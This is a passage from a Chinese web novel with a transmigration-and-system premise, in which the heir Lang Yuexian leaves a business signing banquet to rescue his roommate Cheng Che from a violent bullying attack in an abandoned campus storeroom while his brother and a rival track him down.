“你今晚用了我的香水?”他鼻尖擦过弟弟的鬓角,雪松香混着朗月现身上特有的玫瑰气息在齿间化开。朗秉白胸口狂涌上来的那股对于弟弟暴戾的掌控欲,混着这股令他神魂颠倒的香味,在呼吸交缠间炸开火星。 他和弟弟的味道混到了一起,这曾是朗秉白最背德的美梦中最让他疯狂的片段。 朗秉白胸膛中的心脏美梦成真一般的失控狂跳,神经末梢欢愉的炸开烟花,朗秉白只觉得头晕目眩,甚至能感受到一股铁锈味的甜腥气漫过口腔。 还未等两人再多说些什么,房间门突然被踹开。周闻铮缓缓放下高抬的腿,看到姿势亲密的两人时瞳孔骤缩,他唇角噙着狠厉的笑意,一字一顿道:“该干正事了,两位。” 回到宴会厅时签约仪式正到高潮,追光灯打在签约台上,父亲柔和又骄傲的目光穿透半个宴会厅,看着向他走来的两个儿子。 周董先签好了名字,朗父却半侧过身将笔交给了朗秉白,在这种当地权贵和媒体记者悉数到场的重要场合,此举无疑是在为朗秉白这位长子立威。朗秉白却并没接下父亲的好意,而是后退一步,同朗月现并肩站在了一起。 朗秉白表情严肃的正色道:“您来吧父亲,我还不够格,需要再向您学习。”话落,朗秉白用手背轻轻碰了碰朗月现的手,再次抬头看向朗父。 朗父将朗秉白的所有动作尽收眼底,他的目光从两个儿子之间扫过,不着痕迹的轻叹一口气,还是妥协的拿起了笔。 签约笔在羊皮纸上划出沙沙声时,周闻铮从周父身后溜过来,站在朗月现的另一边,手指轻轻扣住朗月现的手腕。 “你说如果是咱俩签字,这场景,这姿势,像不像在签署婚书?” 朗月现:“……你有病吧。” “联姻嘛,像咱们这种世家,多正常啊,论起门当户对,放眼望去,由着你挑,你也只有我能选了。” 毫不掩饰赤裸裸的攀交心思让另一边的朗秉白不悦的紧紧皱起了眉,奈何现在的场合无法发作,只能默默忍下,却不甘示弱的握住了朗月现的右手,沉香木珠存在感很强的咯着朗月现的腕骨。 朗月现挑眉,慢条斯理地对着周闻铮啧了声,连敷衍都懒得多敷衍几句:“联姻也得我大哥先上,你去找他聊聊?” 朗秉白:“……” 周闻铮:“……” 手机在此时突兀地不断震动,朗月现漫不经心扫过桎梏自己手腕的两道阴影,掀起睫毛轻笑,两人默默地在那明显不悦地无形威压下同时松了力道。 指尖划开屏幕时,宴会厅正热闹的响起香槟杯碰撞的清脆声响,是一个陌生号码发来的几段视频,他看了眼已经完成签约正热络寒暄的父亲,后退几步拉开距离,把声音调小,才点击播放。 视角不断晃动,看似是在一个隐蔽的地方偷拍的,视频里程澈蜷缩在潮湿的水泥地面,钢管砸在□□上的闷响压抑着一声声痛哼。 周闻铮凑近时清爽的青柠罗勒的味道混着威士忌的烈香扑面而来,他明显也认出了程澈,嗤笑一声:“你那个绿茶舍友?这又是什么劣质苦肉计,这人也就看着单纯,你可别被他骗了,我在家关禁闭的时候顿顿不落地往学校给你送饭,全被他扔进垃圾桶了。” 朗月现偏头看向男人,悠悠道:“你找人干的?” “我要弄死他会用更漂亮的法子。”周闻铮吊儿郎当的拖着腔调说道,攥着他手腕按在自己左胸,丝绸衬衫面料下的热度似乎要烙进掌心:“比如让你亲眼看着……” 系统这时突然出声:“宿主,检测到主角攻的生命体征在大幅跳动,得去救他。” 朗月现倒没太惊讶,只是轻喟一声,推开周闻铮,拿起外套就要往外走:“借过。” 周闻铮一把拽住朗月现的胳膊,眼神满是震惊,难以置信的问道:“你干嘛去?你要去救他?” 朗月现挑了挑眉:“关你屁事?松开我。” 周闻铮的目光猛地一颤,突然抓住朗月现的手按在自己胸口不让人离开,隔着丝绒面料,炽热的心跳几乎要震碎掌骨。 “他程澈算个什么东西?能让你朗月现这么重视?!” 朗秉白在一旁听了个大概,事不关朗月现,他便一直在一旁冷眼旁观,直到看到朗月现竟然要走,朗秉白转动扳指的手倏地收紧,此刻也不由得上前一步,眼神紧锁在弟弟身上,脸上透着无比惊异的复杂神色。 一个相处了没多长时间的舍友,竟然能重要到让他弟弟亲自去救?朗秉白几乎掩饰不住波动明显的情绪,站在他面前挡住了离开的路:“小月,遇到了什么麻烦跟哥说,哥去给你解决,你自己不要冲动。” “两位,”朗月现忽然旋身脱离桎梏,指尖拂过被攥红的腕骨,唇角噙着戏谑笑意,“这么有默契?联姻的事你俩自己去聊,我先走一步。” 朗月现扯开领带,黑色长条丝绸如巴掌一样狠狠扫过周闻铮紧绷的下颌线,他利落的转身向外跑去。而系统面板上程澈的生命值正随着朗月现狂奔的脚步莫名诡异的回升。 “小月!”朗秉白的声音第一次失了从容,周闻铮眉间阴沉一片,他紧紧攥住朗月现的领带,香槟杯摔碎在大理石地面的声响惊动全场,琥珀色酒液顺着台阶漫延,像条璀璨的河。 第三十章 我连当条狗都要被挑拣吗? 体育器材室的铁门撞上墙壁时, 程澈闻到了铁锈混合灰尘的味道。月光从高处的气窗斜斜切进来,像一把银色的刀插在董其铭笑意扭曲的脸上。 刚到器材室门口,喉咙陡然被勒住, 程澈踉跄着被抓住衣领粗暴地拖进器材室。房间内没开灯,全靠着月光照亮, 自从C大新建了体育馆,这间偏远的独立器材室便被弃用了,老旧的体育器材室各处都散发着淡淡的霉腥味。 程澈乍一下进入没什么光亮的室内,几乎什么都看不清,当瞳孔适应黑暗时,随即肩膀上一股大力袭来, 程澈的后背重重撞上体育器材室的铁皮柜,锈腥味和血气在喉间翻涌。 董其铭等人没有给他任何反应的机会, 程澈的膝盖被篮球狠狠砸中,他双膝一弯跪倒在地,就再也没爬起来。 在充满恶意的讥笑声和拳打脚踢的动静里,程澈勉强用双臂护住脑袋, 有人狠狠踢上他护着头的手,程澈感到一阵剧痛,他咬紧了舌尖不出声,血腥味顿时溢满了他的口腔。 董其铭的鞋碾着他渗血的指节,棒球棍在水泥地上刮出刺耳锐响。他蹲下身,揪住程澈汗湿的额发,逼他抬起头来。 “我是不是告诉过你,下次再见到你家少爷,要学会跪下舔鞋子。”董其铭用球棍挑起程澈下巴,铁锈在少年唇齿间蔓开腥甜。他的跟班从器材架深处拖出发霉的体操垫, 腐烂海绵的酸臭味随着扬起的灰尘扑面而来。 程澈的领口突然被扯开,董其铭的指甲掐着他突起的喉结,将他狠狠按向发霉的垫子。霉变的纤维钻进鼻腔,程澈强忍住呼吸,肺部开始痉挛,他听见自己像破旧风箱般的喘息声混着董其铭的嗤笑。 “你怎么就是学不会呢,高材生?” 程澈一言不发,在明知道反抗无果的情况下,他选择保存体力,等待能够反抗的机会。 “这么能忍?”董其铭突然抄起跳高用的泡沫护垫,发黄的海绵碎屑随着他的动作簌簌掉落。他将护垫按在程澈脸上,程澈的指甲在垫子上抓出几道白痕,耳膜嗡嗡作响中听见董其铭在说:“朗月现究竟看中你什么?这幅一声不吭的死鱼模样?” 董其铭俯下身凑近他,在他耳边轻声低语:“你教教我,你是用什么方法吸引到他的,好不好?” “你让他正眼看看我,我保你们全家荣华富贵。” 这种近乎乞求的卑微话语,董其铭却是用一种可怖的偏执语气说出来。 程澈忽然笑起来。额上蹭破的血珠顺着眉骨滑进眼睫,在那双看似乖顺的眼眸里淬成两簇暗火:“你配吗?” 窗外射进来的明亮月光像破碎的银箔洒在生锈的铁架上,程澈被董其铭扯了起来,后背重重撞上跳马箱,腐朽的海绵爆出呛人的灰尘。董其铭随手捡起地上断裂的链球铁链,手中的链条哗啦作响,在月光下泛着蛇类般的冷光。 “人穷,骨头倒硬的让人烦躁。” “学不会摇尾巴的野狗。”董其铭向程澈走过去,猛地动作,链条勒进脖颈时,程澈听见自己喉骨发出的悲鸣。 程澈用指头在脖颈与链条中奋力撑起缝隙,手指被勒的血红一片。董其铭被怒火逼红了眼,那一副下了死力气的架势好像真的准备将人活活勒死一般。旁边看热闹的几人互相对视一眼,他们也都是有名有姓的富家子弟,过来玩玩而已,谁也不想将事情闹大。 一人叼着烟,走上前拍了拍董其铭的肩:“老董,差不多得了,别真给人弄死了。” 董其铭满脑子都是那个在他看来毫无长处的垃圾货色对他的羞辱,他紧咬着牙,刚想张嘴让其滚蛋,器材室的大门突然被一脚踢开了。 门板重重的撞在墙壁上,发出惊天动地的巨响。月光忽然暴涨,一道修长身影逆光立在门框碎裂的烟尘里。 空气骤然凝固。董其铭瞳孔收缩的瞬间,程澈猛地撞向他肋下挣脱开来。混乱中有人扯住程澈的头发往地面掼去,他听见自己膝盖传来细碎的断裂声。 骤然而至的强光劈开黑暗。 铁门吱呀摇晃,朗月现倚在门框上的剪影被月光拉长,银质打火机在他指间开合,火星明灭间映出蹙着的眉骨下不悦的浓重阴影。 朗月现随手将外套抛向停在门口的机车上,抬脚缓步上前,皮鞋底与水泥地摩擦出令人牙酸的声响,一边走一边动作优雅的撸起袖口:“挺热闹。” 董其铭整个人都愣在原地,瞳孔巨颤,喉咙滚动着吞咽下腥涩的惊悸。 他之前就得到消息,朗周两家今天要进行重大项目签约,周家主场举办晚宴,首都内各个行业有头有脸的人物和各大媒体基本都会悉数到场。 三个小时前,朗周两家掌权人碰杯,身后铺满正面墙的签约屏,滚动播放着“xx百亿生态城项目启动”,他还在财经频道的直播镜头里,到处寻找着朗月现的身影。此刻便亲眼看着朗月现一身正装,带着未散的香槟冷气出现在他的面前。 “你……”董其铭听见自己喉管里挤出的气音,紧握的双拳不受控的发抖。那些被他提前屏蔽的监控,收买的保安,此刻都像一个讥讽的巴掌狠狠抽在了他的脸上。内心被疑虑震惊填满的同时,巨大的痛苦和嫉妒灭顶一般席卷了他的所有情绪。 朗氏继承人放着满堂的政商名流不管,丢下那么重要的场合,只是为了来救这个连给他擦鞋都不配的家伙。 他竟然能被那个人重视到这种地步? 指节捏的咔嚓作响,后槽牙咬破了口腔黏膜,满口的铁锈味,董其铭死死盯着朗月现,脸上突然露出一种扭曲的神经质的表情。 程澈蜷在阴影里剧烈喘息,他支撑着自己起身,裤子布料摩擦着渗血的膝盖引发的阵阵麻痒的刺痛。被铁链勒住窒息好久,他有点神智不清,缺氧造成的耳鸣幻化成了董其铭的笑声,还在脑海里嗡嗡回响。 程澈的视线被额头上滴落的血模糊成斑驳的暗红色块,他盯着不远处背着月光站立的朗月现,太阳穴的青筋跳动的比刚刚差点被活活勒死时还要剧烈。 朗月现的白衬衫被门外吹进来的夜风鼓起,他踏着满地细碎的月影走来时,腕表折射的冷光晃过程澈涨红的双目。 “打狗也要看主人,不是吗?” 朗月现在离他们三步远的地方站住脚,将手腕上的腕表拆下,慢慢的卷起衬衫袖子,露出结实的小臂,朗月现此时嘴角带着一丝莫名的笑,看上去并不愉悦,倒是透着一股难言的压迫感:“我的狗,轮得到你动手动脚?” 董其铭的球棍随着朗月现的话哐当落地。朗月现的皮鞋尖挑起那根金属棍,忽然轻笑一声,反手抽在对方颧骨上,骨裂声伴随着惨叫在室内炸开。 当一颗带血的牙齿滚到程澈脚边时,朗月现屈膝蹲了下来,与跪在地上的程澈平视。带着棒球棍上冷硬铁腥味的拇指抚过他开裂的唇角,疼痛突然有了具体的形状。 朗月现叹了口气,一下烫到了程澈的心底,灼的他浑身发疼。 “你能不能别老给我惹事。” 程澈盯着眼前自己的月亮,肩膀不停抽搐颤抖着,一种说不出的滚烫情绪从他心底猛烈翻涌,汹涌的冲到了他的喉咙里,堵的他发不出声来,舌尖抵住上颚把呜咽咬碎在齿间。 他这时才终于有了实感,原来这个人真的因为他而出现在这里了,并不是他濒死时产生过分妄想的幻觉。 朗月现突然俯身扯过程澈颈间的铁链,断裂处迸溅的火星落在董其铭发抖的手背上。 朗月现旋身利落漂亮的一个回旋踢,飞起一脚将董其铭踹倒在地,另一只脚踩住他的后颈,皮鞋底部纹路碾过对方涨红的脸。 朗月现动作又快又利落,几人反应过来便扑过去想救,朗月现踩住董其铭的脚未动,另一条腿微抬,直接踢中最近那人的膝窝,骨骼错位的脆响听的在场的人浑身战栗。手中的长链泛着冷冽的锡光,带着金属相撞的清响,朗月现的手腕轻轻转动,惨叫便和金属没入肉/体的闷响同时响起。 还有人想趁机从另一边握住朗月现的手臂将他拖开,可是手还没碰到他的衣角,就被突然爆起的程澈猛地撞到了一边。 “你他妈的”那人被撞到在地磕到了后脑勺,顿时眼冒金星,却看见刚刚任打任骂像只死鱼的男人,此刻眼里冰冷暴涨的戾气在他眼中凝成寒霜,下一秒偷袭者的手腕就被反拧到一个诡异的角度。 凄厉的惨叫打断了剩下人的前进脚步,他们本来也没准备对那个突然闯进来的美人做些什么,只想把董其铭从他脚底下救出来,此刻看着突然疯了一般不要命的到处撕咬的程澈,谁都不敢再靠近朗月现一步。 朗月现听着系统在脑内对着生命值面板发出的尖锐爆鸣,皱着眉看了看喘着粗气在他身边站都站不稳的程澈,冲一边的软垫上扬了扬下巴,示意他过去坐着:“别乱动,小心越伤越重。” 程澈警惕了看了看四周的人,头一次不听话的摇了摇头,紧紧攥着拳头试图支撑起摇摇欲坠的身体。 而此时被朗月现以一种屈辱的方式踩在脚下时便如同掐住脖子的鸡一样一声不吭的董其铭突然笑了起来。 他的笑声卡在喉间,无比的沙哑难听:“为什么?” “……你能不能告诉我,他到底哪里值得你这么看重?” 此话一出,朗月现微微皱起了眉,被踩在脚下还只想问这些无关痛痒的话,朗月现只觉得同书里这些NPC打交道简直是无聊透顶。 还能因为什么,总不能告诉你因为他是书中主角,所以我需要保证他不被你玩死吗。 可一旁的程澈听到问话后,那双无害的下垂眼中突然爆发出异常明亮的光,一眨不眨的看着朗月现的侧脸,喉结慢慢的滚动着,像是在等待着什么,紧张的汗珠混着血水从额角不断滑落。 朗月现慢慢启唇,刚想回他“关你屁事”四字箴言,一动不动的董其铭突然疯狂地挣扎起来,朗月现差点没踩住他,又是一脚重重踩中他的后背,才将人重新压制住。 未被禁锢住的双手死死的扣着地板,董其铭梗着颈拼命地仰起头,想看见头顶的朗月现,颧骨在地板上反复碾磨。细密的血珠混着汗水侵入眼角,表情悲愤又不甘,口腔里全是刚刚朗月现打出的血沫,他挤出带着血的质问:“我差在哪?!你告诉我,凭什么我就不行,那个穷酸货色连你的一颗纽扣都配不上,到底哪里入了你的眼?!” 暴怒的诘问忽然卡在喉间,他哽住呼吸几秒,转而用气声呜咽嘶吼:“我是那么仰慕你,我只求你能多看我一眼,为什么宋煜可以,程澈可以,偏偏我不可以……” “我连当条狗都要被挑拣吗……” 朗月现居高临下,以不屑俯视的眼神轻轻地瞥了他一眼。 说实在的,朗月现倒不是因为董其铭霸凌过程澈或者其他的一些人,而对他产生类似于反感嫌恶的厌烦心理,因为朗月现根本不在乎。 朗月现对周围的一切都非常漠然,骨子里就带着一股厌世的戾气,说白了,就是天生带着一种冷漠的恶。 这位被顶级财阀供奉在云端的继承人,连嫌恶都是克制的,并非* 出于教养,而是彻骨的无趣。 如果不是因为程澈是主角,可以直接关系到他未来的最终生死结局,朗月现即使是路过他们,连睫毛都不会颤动分毫。 他没有多强的道德观,也不想定义什么好坏,而生在顶级世家偏偏又让朗月现差不多有定义好坏的权力,所以才更加麻烦。 对于朗月现来说,董其铭和程澈这些事情没有对错可言,他厌恶董其铭纯粹是因为,他做了,但是他又没有摆平这些事的能力,惹出事端却要旁人来收场。 董其铭仗着祖荫张牙舞爪,跋扈了这么多年,早就忘了自己几斤几两,有没有与他的这些嚣张做派相称的能力。而这次,他恰恰踢到了一块名为“主角”的铁板。 董其铭自己处理不好这个事情带来的后果,结果就是逼得朗月现不得不出面来摆平这一切。 太麻烦了,这让朗月现感到非常烦躁。 “废物。” 轻飘飘两个字让还在不满嘶喊的董其铭瞬间安静下来。 董其铭的脊椎突然窜上寒意,惊颤着抬头望过去,看见的是一双冰冷毫无情绪的眼睛,如同一块尖锐的玻璃,轻而易举就将他割的血肉淋漓。 “只会给人添麻烦的东西,看一眼我都嫌脏。” 话音刚落,大敞开的门外突然有纷乱的脚步声传来,朗月现转头望去,夜幕下不远处又出现了一伙人。 30-40 第三十一章 世子之争,向来如此 破碎的香槟杯在周闻铮眼底折射出细碎的寒光。他攥着朗月现丢下的领带, 用力到指节泛白。看着朗月现头也不回地冲出宴会厅,银灰色西装下摆扫过宴会厅的门,干脆利落地像一尾挣脱渔网的孔雀鱼。 杜卡迪改装过的引擎轰鸣声刺破夜色时, 周闻铮指尖的领带应声而断,正甩在侍应生端着的香槟拖盘上, 玻璃碎裂声与引擎声混成尖锐的和弦。 侍应生擦拭酒渍的手帕还没完全浸透,周闻铮突然回过神来,暗骂一声追了出去。停车场中那辆黑色杜卡迪连猩红尾灯都看不见了。 “月月!”尾音卡在喉间,他的呼喊被碾碎在夜幕中,无人回应。周闻铮拿起手机,手机屏幕明明灭灭, 不断拨打却无人接听的未接来电提示刺得他眼眶发烫。 皮鞋敲击大理石地面的闷响从身后传来,司机先走一步去开车过来。朗秉白站到周闻铮身旁, 他漫不经心地转动着表冠,在极度烦躁和妒忌下,朗秉白腕表齿轮转动的声响突然清晰可闻,一秒一秒像手术刀刮过肋骨的声音, 听的周闻铮内心烦躁不已。 周闻铮转身看向朗秉白,看着朗秉白一副云淡风轻的模样,意识到了不对劲:“机车上有追踪器是吗?” 朗秉白轻笑时眼中闪过冷光:“周少不是最看不起在别人身上装追踪器的伪君子了吗?” “现在是什么情况,准备和伪君子同流合污了?” 朗月现打一开始就没准备在宴会厅待到结束,等到签约仪式结束他就会提前离开,所以没跟着朗家的车一起来,而是自己骑着机车先行一步。 自从上次朗月现骑车跑山突然失去踪迹,朗秉白后怕到每日梦魇无法入睡,安眠药连续吃了三个月才逐渐停了下来。 所以朗秉白此时内心正在无比庆幸弟弟不愿意参加这种宴会的急性子,让他骑着的是被自己全部安装上防拆隐蔽式定位仪器的机车。 朗秉白解锁手机, 卫星地图上闪烁的红点正沿着盘山公路疾驰,看样子是往C大方向去了。 视频里的那伙人竟然是在学校内部霸凌?朗秉白正若有所思的盯着手机屏幕,面前突然伸出来一只手。 “给我。”周闻铮从牙缝里挤出的气音被晚风卷走。 “实时定位。”非常结实高大的男人恶狠狠的维持着表面的凶相,每个字像是都咬牙切齿的逼出来,“给我。” 向这个监控自己弟弟成瘾的变态妥协的耻辱感灼烧这他的喉咙,周闻铮脸色铁青,内心觉得简直是奇耻大辱,他感到悲哀和愤怒,却又抵不过眼睛都不眨就跑去救人的那个决绝背影。 朗月现单枪匹马跑去救人,他必须要找到他,光靠那个光线昏暗,晃动模糊的视频是肯定做不到的。 车已经停在了面前,朗秉白扭头看了周闻铮一眼,现在找到弟弟是最要紧的事,就算想阻止这人跟着恐怕也难以轻易实施。司机为他拉开车门,朗秉白坐进车内,淡淡道:“跟紧。”说罢,毫不留情的关上车门。 周闻铮暗暗咬牙,却也不敢浪费时间,迈开大步迅速跑到车旁,前方的黑色车影弹射出去的瞬间,周闻铮也已经发动了那辆曜石黑的Jesko,紧踩油门跟着冲了出去。 —— 夜色中两束车灯刺破器材室铁皮墙的缝隙,稳重的宾利巴图尔和张扬的柯尼塞格几乎是同时停在了那间破旧的铁屋外。 司机快步绕到后座为朗秉白打开车门,周闻铮同时从几乎溶于夜幕的深黑色柯尼塞格中迈出长腿,两人中间隔了七八个身位一起向门大敞着的器材室走来。 朗月现看着泾渭分明的两个人,眯着眼睛,表情阴晴不定。 系统:“他们是怎么找过来的?” 朗月现是随着系统的指示才勉强摸索到这偌大的校园中偏僻角落里的废弃器材室,这两个人是开了天眼吗。 朗月现“啧”了一声,估计是想到了原因,他身上可能没有定位,但是机车一直放在家里换着开,估计追踪器都要被叠满了。 自己简直像个移动信号塔。 系统:“怎么了宿主,又是谁给你按了追踪器吗?” 朗月现:“那辆限量版柯尼塞格Jesko不是刚发售吗,怎么就让那蠢货买到了。” 系统:“……” 凭着被月光照的大亮的屋内情形,两人清晰的看见朗月现悠闲挺拔的身姿,四周人不多,都离得远远的不敢靠近,脚底下甚至还踩着一个,看上去并无任何吃亏的迹象,两人的步调便也轻松了些许。 朗秉白走到一半拿出手机开始接听电话,周闻铮走到门口就停下了脚步,高大的身躯倚在门框上,几乎遮住了大半漏进来的月光,他玩味的看着眼前这一幕,并未主动开腔。 倒是朗月现先开了口:“都跟过来干嘛,宴会不管了?” 周闻铮一向我行我素,但朗秉白竟然也不管不顾的跟来了,简直是没有一点大局意识。 先是拒绝了签约执笔,又在为他造势的宴会上丢下所有政商名流提前离场,回到家朗父绝对要对自己一直极为看重和骄傲的大儿子大发雷霆。 “粘人,你早该意识到的。”周闻铮笑着转了转手中的车钥匙,朗月现眼不见心不烦的扭过头不看他。 朗秉白打完电话也没再往前走,站在原地远远的看着朗月现。夜风吹起他的精心打理过的额发,视线穿过人群和昏暗的空气,目光精准锁住在他眼中唯一清晰的身影。 朗月现似乎是倦了,他伸出手捂着后颈扬起了头,修长的脖颈后仰出极美的弧度,长身玉立,眉目慵懒垂落,却隐约透露着居高临下的傲然之色。 朗月现一身剪裁锋利合体的高定,衣摆鼓风,肩膀又宽,显得腰身漂亮到了让人忍不住惊叹的程度,刚刚动起手也算热了个身,整个人散发着一身纸醉金迷里淌过的慵懒。 而这幅冷淡又迷人的姿态,却用一种屈辱的方式将另一个人毫不顾忌的踩在脚下。这个凭借不讲道理的美丽脸蛋把暴力演绎成行为艺术的少年,分明是一副睥睨的姿态,眼尾那漫不经心的倦意却有一种极致诱人的蛊惑感。 甚至让在场所有人都产生了要被那种鳞片折射出如同宝石一般的美丽蛇类,伸出蛇信舔舐颈动脉一般,惊心动魄,美妙又危险的幻觉。 明明透着致命危险,却让每个见证者心甘情愿,迫不及待的伸长脖颈等待毒牙降临。 张庭中举着手机小跑着赶过来,学校安排每天都会有一个教导主任在校看守,今晚是他负责值班。正在电脑上打着斗地主,突然被校长的连环夺命call给吓出一身冷汗。 他一边往指定地点赶去,一边不停的碎碎念:“朗家怎么会突然到学校的废弃体育场来,他们今晚不是有什么重大签约吗,多久之前就开始到处造势打广告……” “什么校园霸凌,电视剧看多了吗,这可是c大,顶尖重点大学,又不是什么混混聚集地。” 虽然心里一万个不忿,只是觉得是那些有钱人又想出什么花招来为难他们这些打工人,但是表面功夫还是要做好的,张主任一边吐槽一边拿出手机给保安队打电话。 离得老远几人就看见一个中年男人大汗淋漓的跑过来,一个劲的点头哈腰,跑到近前举着还没挂断的电话,里面还穿来副校长的撕心裂肺的喊叫声:“你稳住他!我这就赶到,让朗总先别生气,跟他说今年的助学金可以酌情减少一些……” 张庭中尴尬的捂住听筒位置,一脸讪笑的冲朗秉白问好打招呼,小心地说您是不是再确认一下,我们这里绝对不可能有……尾音卡在看清门内场景的一瞬间戛然而止,张主任举着手机僵在门口,油光锃亮的脑门上蒙着层冷汗。 一时间屋内屋外只有董其铭的挣扎扭动声,张主任缓过神来,发出一声惊叫一般的怒吼。 他指着踩着人的朗月现就要张嘴,朗秉白却突然轻咳了一声,张主任后背一下出汗了,在他的衣服上洇出深色水痕。 他不敢妄动,当他眯着眼睛仔仔细细看清踩着人后背的是朗家二公子,脸上的表情骤然扭曲起来,喉结剧烈滚动着咽回后半句训斥:“朗总您看,这估计就是学生们闹着玩……” 这是什么意思?!张主任教学这么多年,也算是见过大风大浪的人了,这种把校领导都叫起来就为了逮住他弟弟霸凌现场的事件他还是第一次遇见。 一颗硕大的汗水从他脑门上滴落,顺着僵硬的几乎维持不住的谄媚的笑纹滑了下去。张主任现在满脑子都是短视频上毁人心智的魔性音频:“世子之争,向来如此……” 原来这种顶级财阀之间争权也用这种不入流的小把戏吗,真是开了眼了,确实比斗地主刺激…… 就在张主任思绪越跑越偏的时候,程澈拖着受伤的腿一瘸一拐的走了出来,他半边脸都肿着,浑身脏污,脖子上还有一道骇人的勒痕,看上去已经脱离校园霸凌的程度了,说是杀人未遂也不为过。 当程澈与周闻铮擦肩时,对方忽然轻笑:“下手挺黑啊,爽吗?” “周闻铮。”朗月现的警告裹着冰渣。 被点名者举起双手作投降状,程澈面不改色的从一动不动,别说帮一把,连让都也不知道让一下的周闻铮身旁走过,站到了张主任面前。 虽说看着凄惨,但是程澈很是出色的高大块头在那摆着,还是把这位有点肥胖胆小的中年人吓得后缩了一步。 程澈看出了张主任对于在场几人的犹疑,但奈何他实在是强弩之末,浑身疼的要命,耳鸣的厉害,没劲发出很大的声音,他只能走到人面前,尽量将话讲清楚:“不管朗同学的事,他是来救我的,霸凌者是董其铭那几个人。” 受害者已经把话说到这个地步了,事情已经很明确了,无论如何也要在外宾面前把态度做足,张主任看着姗姗来迟的保安队,面部肌肉牵动着尴尬又谄媚的笑意:“朗总您放心,这件事校方一定会谨慎处理,保证给您一个满意的答复。” 朗秉白并不在意,他只是将目光放在那个几乎站不稳的高大男孩身上。 这个向来以绅士风度著称的男人,此刻正用评估一件他弟弟莫名看重的新奇小玩意儿的眼神,毫不掩饰的用挑剔的目光一寸寸丈量那男孩渗血的衣服下起伏的每一处肌肉线条。 月光将他的目光折射成两道冷刃,倒映着男孩脖颈处狰狞的勒痕,这种近乎无理的审视行为出现在一位气质沉稳的成熟男人身上,还是对着一个受了伤的,刚被霸凌过的学生。 这般失礼的凝视在持续了整整一分钟后,朗秉白才淡漠的移开了视线。 保安进去后器材室内便开始吵嚷起来,几个帮凶不断挣扎,嘴里喊着是被逼着过来的,张主任一律不管,先抓起来再说。 董其铭这会儿倒是跟死了一样趴在地上一动不动,朗月现收回脚,脚尖踢开地上染血的棒球棍,金属滚动的声音惊得那群跟班们像是被突然捏住了嗓子,也不哭嚎了。 周闻铮一反常态的站在原地一声不吭,直到朗月现经过时,忍不住勾了勾他的手。 朗月现站住脚步,眼睛往旁边一瞥:“怎么?” 周闻铮将手中还带着自己掌心温度的车钥匙塞进朗月现手中:“给你的。” 朗月现接住时挑眉的动作像是在掂量赃物,他抛了抛钥匙,脸上还是带着些惊讶的,反问道:“那你怎么回去?” 周闻铮喉间溢出低笑,低着头深深盯着那双拿到喜欢的东西含着明显愉悦的眼睛,心里满足的到处炸烟花:“那把你那辆装满定位的间谍机车送我吧。” 朗月现冷笑一声,转头就走:“想得倒美。” 周闻铮也不强求,只是用犬齿碾碎即将溢出的笑意,心满意足看着朗月现转过身的背影。 下一秒,还没等他反应过来,就被一串车钥匙砸了脸,带过来的空气中还残留着那股让他能不分场合随时亢奋起来,朗月现独有的清冷的玫瑰香味。 朗月现头也不回的说道:“借你骑两天,记得给我送回来。” 第三十二章 他尝到了铁锈味的心甘情愿 朗月现站到几人面前时, 朗秉白便自然地将手机不动声色地收回了西装内袋,他温柔地对着弟弟轻声安抚道:“别担心,这件事哥哥会给你一个交代的。” 朗月现随意的点了点头, 随手扶住了一旁看上去摇摇欲坠的程澈:“先去治伤。” 张主任急忙频频点头,赶紧表忠心:“没错没错, 同学赶紧去疗伤,这边有老师呢。” 朗秉白也微微颔首:“医院那边已经安排好了,走吧。” 话音刚落,朗月现正准备带着程澈上车,扶着他的手臂却未能将人带动,朗月现扭头看了过去。 程澈肿着半张脸, 看不仔细神情,却几乎是用尽所有力气在抵抗上车这件事。那双乖顺无害的狗狗眼一只肿的不能视物, 却还是倔强的盯着朗月现衬衫上其中一颗纽扣,那里浸着不知是谁的血,洇在衣服上像朵枯萎的玫瑰。 他喉咙滚动着挤出气音,声音微弱的拒绝了朗家兄弟的好意:“我不去医院。” 朗月现不知道他在倔什么, 想都没想就否决了这句话:“不行,不去医院等死吗?”他攥紧了程澈的手臂,却在想起对方满身的青紫时卸了力道。 平日里温顺的下垂眼此刻倔的惊人,那个最不愿意看到朗月现生气的人却一反常态,固执的摇了摇头:“我去医务室就好。” “你……”朗月现上下看了看程澈身上的伤,不说有多严重,起码还是要检查一下有没有内伤,骨头有没有事。可程澈现在却在莫名其妙的地方犯倔,谁也说不动他,朗月现有些不悦的皱了皱眉。 朗秉白看到弟弟的稍显不满的神情, 又看向了那个莫名固执的男孩,倚着车门冷笑出声。 他慢条斯理的整理着西装前襟,看着程澈那幼稚的赌气一般的行为不禁勾起了嘴角。 他眼神里带着轻蔑,内心嘲讽着,到底还是个不懂事的小孩,小月本来就怕麻烦,他现在不听安排一意孤行的执拗,把小月惹生气了,谁还愿意惯着他。 “小月从今晚的宴会提前离场,不是为了陪你演苦情剧的。” 有意而为之的不悦声音像是在不满程澈这任性的行径,干燥浓郁的雪松气息骤然靠近,朗秉白走到朗月现身旁,微微皱眉,冷冷瞥了程澈一眼后,低头看了看手表,故作不耐的说道:“别浪费时间,我们没工夫陪你在这耗着。” 程澈是从小地方出来的,在相对贫穷的家乡他们家都算得上是其中的贫困户。从小敏感早熟的内心让他对恶意的眼神熟悉到不能再熟悉。 刚刚朗秉白看向他时,程澈即使没转头与他对视,但那堪称刻薄的轻蔑眼神还是让他如芒在背。 他能清楚地感觉到朗秉白的目光在如何丈量自己,那种自上而下的审视,像一把锋利的刀,划开他破旧脏污的衣服,将他藏在内里的贫穷与狼狈全部曝晒在众人面前。 程澈不知道那是什么人,可看那通身的气度和校领导在他面前卑躬屈膝的谄媚模样,还是足以让程澈完全明白,这个人同周闻铮、董其铭都是一类人。 是能够在家世上配得上朗月现的人,是那些眼高于顶,可以肆意折辱自己,将自己看作不值钱的蝼蚁轻视对待的那些家伙的同类。 程澈已经习惯忍耐了,可朗秉白当着朗月现的面,让他去自己的私人医院看病,态度如同施舍般,轻描淡写,无比傲慢的施以援手。 朗秉白的脸上带着耐人寻味的挑剔眼神,那嘴角的轻蔑笑容,在程澈眼底突然烧起来的怒火下卷曲成嘲弄的弧度。 每一处都像是在说:“你也配?” 不知道是踩断了程澈因为身体和尊严被反复践踏,本就岌岌可危的脑海中的哪根弦,程澈怒了。 他明知道这种行为可能会引起朗月现的不满,可是他忍得浑身发抖,还是忍不住。他脑中被极度的羞耻和愤懑折磨的神智不清,耳中被怒火灼烧的嗡嗡作响,口中不受控的一句又一句的蹦出朗月现不愿意听的话。 我不去,我不去。 “你要干什么?”程澈在骤然炸响的耳鸣声中逼问自己,“你要把他逼走吗?你算个什么东西,你在这跟他耍脾气?” 